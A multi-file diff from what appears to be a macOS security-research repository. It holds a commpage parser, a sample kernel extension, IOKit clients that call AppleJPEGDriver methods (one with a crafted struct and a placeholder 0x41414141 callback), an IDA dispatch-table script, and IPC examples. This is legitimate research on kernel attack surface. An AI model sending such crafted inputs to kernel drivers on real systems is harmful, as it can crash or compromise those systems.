--dump_kext kext_name
Dump the kernel extension binary from the kernelcache.decompressed file
```
* Example:
```bash
@@ -774,7 +697,5 @@ Each Snake class will be a child of the previous one and infinitely "eat itself"
* Add kernelcache parser.
* Add `LC_FILESET_ENTRY` method to `dumpKernelExtension`.
* Consider moving methods like `removeNullBytesAlignment`, `calcTwoComplement64` etc. to `Utils` class.
* Move `--mig` option to Snake & Apple chapter about Mach Kernel when ready.
* Make Thread manager class and improve the Threading.thread with tracing methods and `kill()`.
* Reconsider moving --xattr like args to another Snake class related to filesystem.
* Consider adding second option to dump Sandbox Operations based on this [Csaba Fitzl comment](https://x.com/theevilbit/status/1828773101041221755).
* Reconsider moving --xattr like args to another Snake class related to filesystem.

View File

@@ -0,0 +1,151 @@
// clang CommPageParser.c -o CommPageParser -arch arm64
#include <stdio.h>
#include <stdint.h>
#define COMM_PAGE_BASE 0xfffffc000ULL
typedef struct {
uint64_t TimeStamp_tick;
uint64_t TimeStamp_sec;
uint64_t TimeStamp_frac;
uint64_t Ticks_scale;
uint64_t Ticks_per_sec;
} new_commpage_timeofday_data_t;
typedef struct {
uint64_t nt_tsc_base;
uint32_t nt_scale;
uint32_t nt_shift;
uint64_t nt_ns_base;
uint32_t nt_generation;
uint32_t gtod_generation;
uint64_t gtod_ns_base;
uint64_t gtod_sec_base;
} time_data_t;
typedef struct {
uint8_t signature[16];
uint64_t cpu_capabilities64;
uint8_t unused[6];
uint16_t version;
uint32_t cpu_capabilities;
uint8_t ncpus;
uint8_t user_page_shift_32;
uint8_t user_page_shift_64;
uint16_t cache_linesize;
uint32_t unused4;
uint32_t unused3;
uint32_t memory_pressure;
uint8_t active_cpus;
uint8_t physical_cpus;
uint8_t logical_cpus;
uint8_t kernel_page_shift;
uint64_t memory_size;
uint32_t cpufamily;
uint32_t dev_firm;
uint64_t timebase_offset;
uint8_t user_timebase;
uint8_t cont_hwclock;
uint8_t dtrace_dof_enabled;
uint8_t unused0[5];
time_data_t time_data;
struct {
uint64_t time;
uint64_t time_supported;
uint8_t _fill[48];
} approx;
uint64_t cont_timebase;
uint64_t boottime_usec;
new_commpage_timeofday_data_t new_time_data;
uint64_t unused5;
uint64_t dyld_flags;
uint8_t cpu_to_cluster[256];
uint64_t quiescent_counter;
uint64_t asb_target_value;
uint64_t asb_target_address;
uint64_t asb_target_kern_value;
uint64_t asb_target_kern_address;
} comm_page_t;
void print_cpu_capabilities64(uint64_t caps) {
printf("CPU Capabilities64 details:\n");
if (caps & 0x00000008) printf(" - FP16 Support\n");
if (caps & 0x00000100) printf(" - Advanced SIMD\n");
if (caps & 0x00000200) printf(" - Advanced SIMD half-precision\n");
if (caps & 0x00000400) printf(" - VFP Support\n");
if (caps & 0x00002000) printf(" - FMA Support\n");
if (caps & 0x01000000) printf(" - ARMv8 Crypto\n");
if (caps & 0x02000000) printf(" - ARMv8.1 Atomic instructions\n");
if (caps & 0x04000000) printf(" - ARMv8 CRC32\n");
if (caps & 0x80000000) printf(" - SHA512\n");
// Extended capabilities
if (caps & 0x0000000100000000) printf(" - SHA3\n");
if (caps & 0x0000000200000000) printf(" - FCMA\n");
if (caps & 0x0000000400000000) printf(" - AFP\n");
}
int main() {
comm_page_t *comm = (comm_page_t *)COMM_PAGE_BASE;
printf("Signature: ");
for(int i = 0; i < 16; i++) printf("%02x", comm->signature[i]);
printf("\n\n");
printf("CPU Capabilities64: 0x%llx\n", comm->cpu_capabilities64);
print_cpu_capabilities64(comm->cpu_capabilities64);
printf("\nVersion: %d\n", comm->version);
printf("CPU Capabilities32: 0x%x\n", comm->cpu_capabilities);
printf("\nCPU Information:\n");
printf("Physical CPUs: %d\n", comm->physical_cpus);
printf("Logical CPUs: %d\n", comm->logical_cpus);
printf("Active CPUs: %d\n", comm->active_cpus);
printf("Number of configured CPUs: %d\n", comm->ncpus);
printf("\nMemory Information:\n");
printf("Cache Line Size: %d\n", comm->cache_linesize);
printf("Memory Size: %lld bytes\n", comm->memory_size);
printf("Memory Pressure: %d\n", comm->memory_pressure);
printf("32-bit Page Shift: %d\n", comm->user_page_shift_32);
printf("64-bit Page Shift: %d\n", comm->user_page_shift_64);
printf("Kernel Page Shift: %d\n", comm->kernel_page_shift);
printf("\nSystem Information:\n");
printf("CPU Family: 0x%x\n", comm->cpufamily);
printf("Device Firmware: 0x%x\n", comm->dev_firm);
printf("DYLD System Flags: 0x%llx\n", comm->dyld_flags);
printf("DTrace DOF Enabled: %d\n", comm->dtrace_dof_enabled);
printf("\nTime Information:\n");
printf("Timebase Offset: 0x%llx\n", comm->timebase_offset);
printf("Boot Time: %lld μs\n", comm->boottime_usec);
printf("Continuous Hardware Clock: %d\n", comm->cont_hwclock);
printf("User Timebase: %d\n", comm->user_timebase);
printf("Continuous Timebase: 0x%llx\n", comm->cont_timebase);
printf("\nTime Data:\n");
printf("TSC Base: 0x%llx\n", comm->time_data.nt_tsc_base);
printf("Scale: %u\n", comm->time_data.nt_scale);
printf("Shift: %u\n", comm->time_data.nt_shift);
printf("NS Base: %lld\n", comm->time_data.nt_ns_base);
printf("Generation: %u\n", comm->time_data.nt_generation);
printf("\nNew Time Data:\n");
printf("Timestamp tick: %lld\n", comm->new_time_data.TimeStamp_tick);
printf("Timestamp sec: %lld\n", comm->new_time_data.TimeStamp_sec);
printf("Ticks per sec: %lld\n", comm->new_time_data.Ticks_per_sec);
printf("\nApproximate Time:\n");
printf("Time: %lld\n", comm->approx.time);
printf("Time Supported: %lld\n", comm->approx.time_supported);
printf("\nSecurity Information:\n");
printf("ASB Target Value: 0x%llx\n", comm->asb_target_value);
printf("ASB Target Address: 0x%llx\n", comm->asb_target_address);
printf("ASB Target Kernel Value: 0x%llx\n", comm->asb_target_kern_value);
printf("ASB Target Kernel Address: 0x%llx\n", comm->asb_target_kern_address);
printf("\nCPU Quiescent Counter: %lld\n", comm->quiescent_counter);
return 0;
}

View File

@@ -0,0 +1,173 @@
// !$*UTF8*$!
{
archiveVersion = 1;
classes = {
};
objectVersion = 46;
objects = {
/* Begin PBXBuildFile section */
8D01CCC80486CAD60068D4B7 /* HelloWorld.c in Sources */ = {
isa = PBXBuildFile;
fileRef = 08FB77B2FE8417CDC02AAC07 /* HelloWorld.c */;
};
/* End PBXBuildFile section */
/* Begin PBXFileReference section */
08FB77B2FE8417CDC02AAC07 /* HelloWorld.c */ = {
isa = PBXFileReference;
fileEncoding = 4;
lastKnownFileType = sourcecode.c.c;
path = src/HelloWorld.c;
sourceTree = "<group>";
};
8D01CCD10486CAD60068D4B7 /* Info.plist */ = {
isa = PBXFileReference;
fileEncoding = 4;
lastKnownFileType = text.plist.xml;
path = src/Info.plist;
sourceTree = "<group>";
};
8D01CCD20486CAD60068D4B7 /* HelloWorld.kext */ = {
isa = PBXFileReference;
explicitFileType = "wrapper.kernel-extension";
includeInIndex = 0;
path = HelloWorld.kext;
sourceTree = BUILT_PRODUCTS_DIR;
};
/* End PBXFileReference section */
/* Begin PBXGroup section */
089C166AFE841209C02AAC07 /* HelloWorld */ = {
isa = PBXGroup;
children = (
08FB77B2FE8417CDC02AAC07 /* HelloWorld.c */,
8D01CCD10486CAD60068D4B7 /* Info.plist */,
19C28FB6FE9D52B211CA2CBB /* Products */,
);
name = HelloWorld;
sourceTree = "<group>";
};
19C28FB6FE9D52B211CA2CBB /* Products */ = {
isa = PBXGroup;
children = (
8D01CCD20486CAD60068D4B7 /* HelloWorld.kext */,
);
name = Products;
sourceTree = "<group>";
};
/* End PBXGroup section */
/* Begin PBXNativeTarget section */
8D01CCC60486CAD60068D4B7 /* HelloWorld */ = {
isa = PBXNativeTarget;
buildConfigurationList = 1DEB91D908733DB10010E9CD /* Build configuration list */;
buildPhases = (
8D01CCC90486CAD60068D4B7 /* Sources */,
);
buildRules = (
);
dependencies = (
);
name = HelloWorld;
productInstallPath = "$(HOME)/Library/Bundles";
productName = HelloWorld;
productReference = 8D01CCD20486CAD60068D4B7 /* HelloWorld.kext */;
productType = "com.apple.product-type.kernel-extension";
};
/* End PBXNativeTarget section */
/* Begin PBXProject section */
089C1669FE841209C02AAC07 /* Project object */ = {
isa = PBXProject;
buildConfigurationList = 1DEB91DD08733DB10010E9CD /* Build configuration list for PBXProject "HelloWorld" */;
compatibilityVersion = "Xcode 3.2";
developmentRegion = English;
hasScannedForEncodings = 1;
knownRegions = (
English,
Japanese,
French,
German
);
mainGroup = 089C166AFE841209C02AAC07 /* HelloWorld */;
projectDirPath = "";
projectRoot = "";
targets = (
8D01CCC60486CAD60068D4B7 /* HelloWorld */,
);
};
/* End PBXProject section */
/* Begin PBXSourcesBuildPhase section */
8D01CCC90486CAD60068D4B7 /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
8D01CCC80486CAD60068D4B7 /* HelloWorld.c in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXSourcesBuildPhase section */
/* Begin XCBuildConfiguration section */
1DEB91DA08733DB10010E9CD /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ARCHS = "arm64e";
VALID_ARCHS = "arm64e";
KERNEL_EXTENSION_HEADER_SEARCH_PATHS = "$(KERNEL_FRAMEWORK)/Headers";
KERNEL_FRAMEWORK = "$(SYSTEM_LIBRARY_DIR)/Frameworks/Kernel.framework";
ONLY_ACTIVE_ARCH = NO;
GCC_C_LANGUAGE_STANDARD = gnu11;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++17";
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
INFOPLIST_FILE = src/Info.plist;
PRODUCT_NAME = HelloWorld;
PRODUCT_BUNDLE_IDENTIFIER = "crimson.HelloWorld";
SDKROOT = macosx;
WRAPPER_EXTENSION = kext;
MODULE_NAME = "crimson.HelloWorld";
MODULE_VERSION = 1.0.0;
MACOSX_DEPLOYMENT_TARGET = 13.0;
OTHER_CFLAGS = "-mkernel -fno-builtin -static";
OTHER_LDFLAGS = "-static -lkmod";
SYSTEM_HEADER_SEARCH_PATHS = "$(KERNEL_FRAMEWORK)/Headers";
HEADER_SEARCH_PATHS = "$(KERNEL_FRAMEWORK)/Headers";
};
name = Release;
};
1DEB91DE08733DB10010E9CD /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ARCHS = "arm64e";
VALID_ARCHS = "arm64e";
ONLY_ACTIVE_ARCH = NO;
SDKROOT = macosx;
};
name = Release;
};
/* End XCBuildConfiguration section */
/* Begin XCConfigurationList section */
1DEB91D908733DB10010E9CD /* Build configuration list for PBXNativeTarget "HelloWorld" */ = {
isa = XCConfigurationList;
buildConfigurations = (
1DEB91DA08733DB10010E9CD /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
1DEB91DD08733DB10010E9CD /* Build configuration list for PBXProject "HelloWorld" */ = {
isa = XCConfigurationList;
buildConfigurations = (
1DEB91DE08733DB10010E9CD /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
/* End XCConfigurationList section */
};
rootObject = 089C1669FE841209C02AAC07 /* Project object */;
}

View File

@@ -0,0 +1,17 @@
#include <mach/mach_types.h>
#include <libkern/libkern.h>
kern_return_t HelloWorld_start(kmod_info_t * ki, void *d);
kern_return_t HelloWorld_stop(kmod_info_t *ki, void *d);
kern_return_t HelloWorld_start(kmod_info_t * ki, void *d)
{
printf("HelloWorld from kext start");
return KERN_SUCCESS;
}
kern_return_t HelloWorld_stop(kmod_info_t *ki, void *d)
{
printf("HelloWorld from kext stop");
return KERN_SUCCESS;
}

View File

@@ -0,0 +1,51 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>BuildMachineOSBuild</key>
<string>23H124</string>
<key>CFBundleDevelopmentRegion</key>
<string>en</string>
<key>CFBundleExecutable</key>
<string>HelloWorld</string>
<key>CFBundleIdentifier</key>
<string>crimson.HelloWorld</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>HelloWorld</string>
<key>CFBundlePackageType</key>
<string>KEXT</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleSupportedPlatforms</key>
<array>
<string>MacOSX</string>
</array>
<key>CFBundleVersion</key>
<string>1</string>
<key>DTCompiler</key>
<string>com.apple.compilers.llvm.clang.1_0</string>
<key>DTPlatformBuild</key>
<string>24B75</string>
<key>DTPlatformName</key>
<string>macosx</string>
<key>DTPlatformVersion</key>
<string>15.1</string>
<key>DTSDKBuild</key>
<string>24B75</string>
<key>DTSDKName</key>
<string>macosx15.1</string>
<key>DTXcode</key>
<string>1610</string>
<key>DTXcodeBuild</key>
<string>16B40</string>
<key>LSMinimumSystemVersion</key>
<string>15.1</string>
<key>OSBundleLibraries</key>
<dict>
<key>com.apple.kpi.libkern</key>
<string>23.6.0</string>
</dict>
</dict>
</plist>

View File

@@ -0,0 +1,20 @@
#include <IOKit/IOKitLib.h>
#include <stdio.h>
int main() {
// Get service
io_service_t service = IOServiceGetMatchingService(kIOMainPortDefault, IOServiceMatching("AppleJPEGDriver"));
// Connect to service
io_connect_t connect;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 1, &connect);
IOObjectRelease(service);
// Call external method
kr = IOConnectCallMethod(connect, 0, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);
printf("Method call result: 0x%x\n", kr);
// Cleanup
IOServiceClose(connect);
return 0;
}

View File

@@ -0,0 +1,10 @@
import iokitlib
# Get service and connect
iokit = iokitlib.iokit()
conn = iokit.open_service(b"AppleJPEGDriver", 1)
print(f"Connection handle: {conn}")
# Call external method
kr = iokit.connect_call_method(conn, 0, None, None, None, None)
print(f"Method call result: {kr}")

View File

@@ -0,0 +1,166 @@
// Compile command:
// clang++ -framework IOKit -framework CoreFoundation -framework IOSurface AppleJPEGDriver_method_1.cpp -o AppleJPEGDriver_method_1
#include <IOKit/IOKitLib.h>
#include <IOSurface/IOSurface.h>
#include <CoreVideo/CVPixelBuffer.h>
#include <stdio.h>
#include <string.h>
/**
* Creates an IOSurface with JPEG format specifications
* IOSurface is a memory buffer that can be shared between processes and hardware
*
* @details This function sets up an IOSurface with specific parameters:
* - 32x32 pixel dimensions
* - 0x10000 bytes allocation size
* - JPEG format specification
* - Global sharing enabled
*
* @return The unique identifier of the created surface, or 0 on failure
*/
static uint32_t create_surface(void) {
// Create a mutable dictionary to hold surface properties
CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0,
&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
if (!dict) return 0;
// Define surface parameters
int width = 32;
int height = 32;
int alloc_size = 0x10000;
int format = 'JPEG'; // Using JPEG format identifier
// Set surface as globally accessible
CFDictionarySetValue(dict, CFSTR("IOSurfaceIsGlobal"), kCFBooleanTrue);
// Create CF numbers for surface properties
CFNumberRef w = CFNumberCreate(NULL, kCFNumberSInt32Type, &width);
CFNumberRef h = CFNumberCreate(NULL, kCFNumberSInt32Type, &height);
CFNumberRef s = CFNumberCreate(NULL, kCFNumberSInt32Type, &alloc_size);
CFNumberRef f = CFNumberCreate(NULL, kCFNumberSInt32Type, &format);
// Set surface properties in dictionary
CFDictionarySetValue(dict, CFSTR("IOSurfaceWidth"), w);
CFDictionarySetValue(dict, CFSTR("IOSurfaceHeight"), h);
CFDictionarySetValue(dict, CFSTR("IOSurfaceAllocSize"), s);
CFDictionarySetValue(dict, CFSTR("IOSurfacePixelFormat"), f);
// Create the surface with our specifications
IOSurfaceRef surface = IOSurfaceCreate(dict);
if (!surface) {
CFRelease(w); CFRelease(h); CFRelease(s); CFRelease(f); CFRelease(dict);
return 0;
}
// Get surface ID and retain the surface
uint32_t id = IOSurfaceGetID(surface);
CFRetain(surface);
// Clean up allocated resources
CFRelease(w); CFRelease(h); CFRelease(s); CFRelease(f); CFRelease(dict);
return id;
}
/**
* Input structure for the AppleJPEGDriver
* This structure defines the parameters needed for JPEG processing operations
*
* @note Structure must be exactly 88 bytes (0x58) in size
* @note Fields marked as reserved should not be modified
*/
struct AppleJPEGDriverIOStruct {
uint32_t src_surface; // Source surface ID
uint32_t input_size; // Size of input data
uint32_t dst_surface; // Destination surface ID
uint32_t output_size; // Size of output buffer
uint32_t reserved1[2]; // Reserved fields (previously input/output length)
uint32_t pixelX; // X dimension in pixels
uint32_t pixelY; // Y dimension in pixels
uint32_t reserved2; // Reserved field
uint32_t xOffset; // X offset for processing
uint32_t yOffset; // Y offset for processing
uint32_t subsampling; // Subsampling mode (must be 0-4)
uint32_t callback; // Callback address
uint32_t reserved3[3]; // Reserved fields
uint32_t value100; // Value set to 100
uint32_t reserved4[2]; // Reserved fields
uint32_t decodeWidth; // Width for decoding
uint32_t decodeHeight; // Height for decoding
uint32_t reserved5; // Reserved field
} __attribute__((packed));
int main() {
// Create source and destination surfaces
uint32_t src = create_surface();
uint32_t dst = create_surface();
// Connect to the AppleJPEGDriver
io_connect_t conn;
io_service_t service = IOServiceGetMatchingService(kIOMainPortDefault,
IOServiceMatching("AppleJPEGDriver"));
if (!service) {
printf("Driver not found\n");
return 1;
}
// Open a connection to the driver
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 1, &conn);
if (kr != KERN_SUCCESS) {
printf("Open failed: %x\n", kr);
return 1;
}
// Initialize driver input structure
struct AppleJPEGDriverIOStruct input = {};
memset(&input, 0, sizeof(input));
// Configure input parameters
input.src_surface = src;
input.input_size = 2000;
input.dst_surface = dst;
input.output_size = 0x1000;
input.pixelX = 100;
input.pixelY = 3;
input.xOffset = 0xd;
input.yOffset = 0xff;
input.subsampling = 0;
input.callback = 0x41414141;
input.value100 = 100;
input.decodeWidth = 5;
input.decodeHeight = 10;
// Verify structure size and print configuration
printf("Structure size: %zu (should be 88)\n", sizeof(input));
printf("Surface IDs: src=0x%x dst=0x%x\n", src, dst);
printf("Input params:\n"
" sizes: %u/%u\n"
" pixels: %u/%u\n"
" decode: %u/%u\n"
" offset: %u/%u\n",
input.input_size, input.output_size,
input.pixelX, input.pixelY,
input.decodeWidth, input.decodeHeight,
input.xOffset, input.yOffset);
// Prepare output buffer and call driver
char output[88] = {0};
size_t output_size = sizeof(output);
// Call IOKit method #1 on the connection, passing input/output buffers
// kr: stores kernel return code (KERN_SUCCESS = 0 on success)
// conn: connection to IOKit driver/service
// 1: selector/method number to call
// &input: pointer to input structure
// sizeof(input): size of input buffer in bytes
// output: buffer to receive output data
// &output_size: pointer to size of output buffer (updated with actual bytes written)
kr = IOConnectCallStructMethod(conn, 1, &input, sizeof(input), output, &output_size);
// Print result and clean up
printf("Result: 0x%x (%s)\n", kr, mach_error_string(kr));
IOServiceClose(conn);
IOObjectRelease(service);
return 0;
}

View File

@@ -0,0 +1,31 @@
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <paths.h>
#include <sys/disk.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s /dev/diskX\n", argv[0]);
return 1;
}
// Open the disk device
int fd = open(argv[1], O_RDWR);
if (fd < 0) {
perror("Failed to open disk device");
return 1;
}
// Attempt to eject the disk using ioctl
if (ioctl(fd, DKIOCEJECT, NULL) < 0) {
perror("Failed to eject disk");
close(fd);
return 1;
}
close(fd);
printf("Disk ejected successfully\n");
return 0;
}

View File

@@ -0,0 +1,84 @@
from idaapi import *
import ida_bytes
import idc
import ida_name
def create_external_method_dispatch_struct():
sid = idc.get_struc_id("IOExternalMethodDispatch2022")
if sid != -1:
# Structure already exists
return sid
sid = idc.add_struc(-1, "IOExternalMethodDispatch2022", 0)
if sid == -1:
print("Failed to create structure")
return -1
# Define structure members
idc.add_struc_member(sid, "function", 0, ida_bytes.qword_flag(), -1, 8)
idc.add_struc_member(sid, "checkScalarInputCount", 8, ida_bytes.dword_flag(), -1, 4)
idc.add_struc_member(sid, "checkStructureInputSize", 0xC, ida_bytes.dword_flag(), -1, 4)
idc.add_struc_member(sid, "checkScalarOutputCount", 0x10, ida_bytes.dword_flag(), -1, 4)
idc.add_struc_member(sid, "checkStructureOutputSize", 0x14, ida_bytes.dword_flag(), -1, 4)
idc.add_struc_member(sid, "allowAsync", 0x18, ida_bytes.byte_flag(), -1, 1)
# Align to pointer size for checkEntitlement
idc.add_struc_member(sid, "checkEntitlement", 0x20, ida_bytes.qword_flag(), -1, 8)
return sid
def format_external_method_array(start_addr, count):
# Create structure if it doesn't exist
sid = create_external_method_dispatch_struct()
if sid == -1:
return
struct_size = 0x28 # Size of IOExternalMethodDispatch2022
# Create array
for i in range(count):
current_addr = start_addr + (i * struct_size)
# Create structure instance
idc.create_struct(current_addr, struct_size, "IOExternalMethodDispatch2022")
# Get function pointer and try to get its name
func_ptr = idc.get_qword(current_addr)
if func_ptr != 0:
func_name = ida_name.get_name(func_ptr)
if func_name:
print(f"Entry {i}: Function = {func_name}")
else:
print(f"Entry {i}: Function = 0x{func_ptr:x}")
# Get other fields
scalar_input = idc.get_wide_dword(current_addr + 8)
struct_input = idc.get_wide_dword(current_addr + 0xC)
scalar_output = idc.get_wide_dword(current_addr + 0x10)
struct_output = idc.get_wide_dword(current_addr + 0x14)
allow_async = idc.get_wide_byte(current_addr + 0x18)
entitlement = idc.get_qword(current_addr + 0x20)
print(f" ScalarInput: {scalar_input}")
print(f" StructInput: {struct_input}")
print(f" ScalarOutput: {scalar_output}")
print(f" StructOutput: {struct_output}")
print(f" AllowAsync: {allow_async}")
if entitlement != 0:
ent_str = idc.get_strlit_contents(entitlement, -1, STRTYPE_C)
if ent_str:
print(f" Entitlement: {ent_str.decode('utf-8')}")
print("")
def main():
if len(idc.ARGV) != 3:
print("Usage: format_externalmethods.py <start_address> <count>")
print("Example: format_externalmethods.py 0xFFFFFE0007E1B118 10")
return
start_addr = int(idc.ARGV[1], 16)
count = int(idc.ARGV[2])
format_external_method_array(start_addr, count)
if __name__ == '__main__':
main()

View File

@@ -0,0 +1,52 @@
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
struct ifreq ifr;
int sockfd;
// Check if interface name was provided
if (argc != 2) {
printf("Usage: %s <interface>\n", argv[0]);
printf("Example: %s en0\n", argv[0]);
return 1;
}
// Create a UDP socket for interface communication
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("socket");
return 1;
}
// Clear the structure and copy interface name
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, argv[1], IFNAMSIZ-1);
// Get the interface flags
if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) < 0) {
perror("ioctl");
close(sockfd);
return 1;
}
// Print interface status
printf("Interface %s status:\n", argv[1]);
printf("UP: %s\n", (ifr.ifr_flags & IFF_UP) ? "yes" : "no");
printf("RUNNING: %s\n", (ifr.ifr_flags & IFF_RUNNING) ? "yes" : "no");
printf("LOOPBACK: %s\n", (ifr.ifr_flags & IFF_LOOPBACK) ? "yes" : "no");
printf("POINTOPOINT: %s\n", (ifr.ifr_flags & IFF_POINTOPOINT) ? "yes" : "no");
printf("MULTICAST: %s\n", (ifr.ifr_flags & IFF_MULTICAST) ? "yes" : "no");
printf("BROADCAST: %s\n", (ifr.ifr_flags & IFF_BROADCAST) ? "yes" : "no");
printf("PROMISC: %s\n", (ifr.ifr_flags & IFF_PROMISC) ? "yes" : "no");
close(sockfd);
return 0;
}

View File

@@ -0,0 +1,8 @@
#include <mach/mach.h>
int main() {
mach_port_t port;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
return 0; // Port allocation directly interacts with kernelspace
}

View File

@@ -0,0 +1,15 @@
CC = clang
FRAMEWORK = -framework Foundation
all: client server
client: client.m
$(CC) $(FRAMEWORK) client.m -o client
server: server.m
$(CC) $(FRAMEWORK) server.m -o server
clean:
rm -f client server *.o
.PHONY: all clean

View File

@@ -0,0 +1,16 @@
#import <Foundation/Foundation.h>
int main(int argc, char *argv[]) {
@autoreleasepool {
if (argc != 2) return 1;
CFMessagePortRef port = CFMessagePortCreateRemote(NULL, CFSTR("com.crimson.message_service"));
if (port) {
NSString *msg = [NSString stringWithUTF8String:argv[1]];
NSData *data = [msg dataUsingEncoding:NSUTF8StringEncoding];
CFMessagePortSendRequest(port, 0, (__bridge CFDataRef)data, 1, 1, NULL, NULL);
CFRelease(port);
}
}
return 0;
}

View File

@@ -0,0 +1,18 @@
// server.m
// clang -framework Foundation server.m -o server
#import <Foundation/Foundation.h>
static CFDataRef callback(CFMessagePortRef port, SInt32 msgid, CFDataRef data, void *info) {
NSLog(@"Received: %@", [[NSString alloc] initWithData:(__bridge NSData *)data encoding:NSUTF8StringEncoding]);
return NULL;
}
int main() {
@autoreleasepool {
CFMessagePortRef port = CFMessagePortCreateLocal(NULL, CFSTR("com.crimson.message_service"), callback, NULL, NULL);
CFRunLoopSourceRef source = CFMessagePortCreateRunLoopSource(NULL, port, 0);
CFRunLoopAddSource(CFRunLoopGetCurrent(), source, kCFRunLoopCommonModes);
[[NSRunLoop currentRunLoop] run];
}
return 0;
}

View File

@@ -0,0 +1,15 @@
CC = clang
CFLAGS = -framework Foundation
all: client server
client: client.m
$(CC) $(CFLAGS) client.m -o client
server: server.m
$(CC) $(CFLAGS) server.m -o server
clean:
rm -f client server *.o
.PHONY: all clean

View File

@@ -0,0 +1,17 @@
#import <Foundation/Foundation.h>
int main(int argc, char *argv[]) {
@autoreleasepool {
if (argc != 2) {
NSLog(@"Usage: %s <message>", argv[0]);
return 1;
}
NSConnection *connection = [NSConnection connectionWithRegisteredName:@"com.crimson.message_service" host:nil];
id<NSObject> server = [connection rootProxy];
NSString *message = [NSString stringWithUTF8String:argv[1]];
[server handleMessage:message];
}
return 0;
}

View File

@@ -0,0 +1,22 @@
#import <Foundation/Foundation.h>
@interface MessageServer : NSObject
- (void)handleMessage:(NSString *)message;
@end
@implementation MessageServer
- (void)handleMessage:(NSString *)message {
NSLog(@"Received: %@", message);
}
@end
int main() {
@autoreleasepool {
MessageServer *server = [[MessageServer alloc] init];
NSConnection *connection = [NSConnection defaultConnection];
[connection setRootObject:server];
[connection registerName:@"com.crimson.message_service"];
[[NSRunLoop currentRunLoop] run];
}
return 0;
}

View File

@@ -0,0 +1,13 @@
CC=clang
FRAMEWORKS=-framework Foundation
all: server client
server: server.m
$(CC) $(FRAMEWORKS) server.m -o server
client: client.m
$(CC) $(FRAMEWORKS) client.m -o client
clean:
rm -f server client

View File

@@ -0,0 +1,19 @@
// client.m
#import <Foundation/Foundation.h>
#import <servers/bootstrap.h>
int main(int argc, char *argv[]) {
@autoreleasepool {
if (argc != 2) return 1;
mach_port_t bp, port;
task_get_bootstrap_port(mach_task_self(), &bp);
bootstrap_look_up(bp, "com.crimson.message_service", &port);
NSMachPort *machPort = [[NSMachPort alloc] initWithMachPort:port];
NSData *data = [[NSString stringWithUTF8String:argv[1]] dataUsingEncoding:NSUTF8StringEncoding];
NSMutableArray *components = [NSMutableArray arrayWithObject:data];
[machPort sendBeforeDate:[NSDate date] msgid:0 components:components from:nil reserved:0];
}
return 0;
}

View File

@@ -0,0 +1,31 @@
// server.m
#import <Foundation/Foundation.h>
#import <servers/bootstrap.h>
@interface Server : NSObject <NSMachPortDelegate>
@end
@implementation Server
- (void)handlePortMessage:(NSPortMessage *)message {
NSData *data = [[message components] firstObject];
NSString *msg = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
NSLog(@"Received: %@", msg);
}
@end
int main() {
@autoreleasepool {
Server *server = [[Server alloc] init];
mach_port_t bp;
task_get_bootstrap_port(mach_task_self(), &bp);
mach_port_t servicePort;
kern_return_t kr = bootstrap_check_in(bp, "com.crimson.message_service", &servicePort);
if (kr != KERN_SUCCESS) return 1;
NSMachPort *port = [[NSMachPort alloc] initWithMachPort:servicePort];
port.delegate = server;
[[NSRunLoop currentRunLoop] addPort:port forMode:NSDefaultRunLoopMode];
[[NSRunLoop currentRunLoop] run];
}
return 0;
}

View File

@@ -0,0 +1,15 @@
CC = clang
CFLAGS = -framework Foundation
all: client server
client: client.m
$(CC) $(CFLAGS) client.m -o client
server: server.m
$(CC) $(CFLAGS) server.m -o server
clean:
rm -f client server *.o
.PHONY: all clean

View File

@@ -0,0 +1,19 @@
// client.m
#import <Foundation/Foundation.h>
int main(int argc, char *argv[]) {
@autoreleasepool {
if (argc != 2) {
NSLog(@"Usage: %s <message>", argv[0]);
return 1;
}
NSString *message = [NSString stringWithUTF8String:argv[1]];
[[NSDistributedNotificationCenter defaultCenter]
postNotificationName:@"com.crimson.message_service"
object:nil
userInfo:@{@"message": message}
deliverImmediately:YES];
}
return 0;
}

View File

@@ -0,0 +1,31 @@
// server.m
#import <Foundation/Foundation.h>
@interface MessageServer : NSObject
- (void)handleMessage:(NSNotification *)notification;
@end
@implementation MessageServer
- (id)init {
if (self = [super init]) {
[[NSDistributedNotificationCenter defaultCenter]
addObserver:self
selector:@selector(handleMessage:)
name:@"com.crimson.message_service"
object:nil];
}
return self;
}
- (void)handleMessage:(NSNotification *)notification {
NSLog(@"Received: %@", notification.userInfo[@"message"]);
}
@end
int main() {
@autoreleasepool {
MessageServer *server = [[MessageServer alloc] init];
[[NSRunLoop currentRunLoop] run];
}
return 0;
}

View File

@@ -0,0 +1,58 @@
# Compiler and flags
CC = gcc
CFLAGS = -Wall -Wextra -O2 # Enable warnings and basic optimization
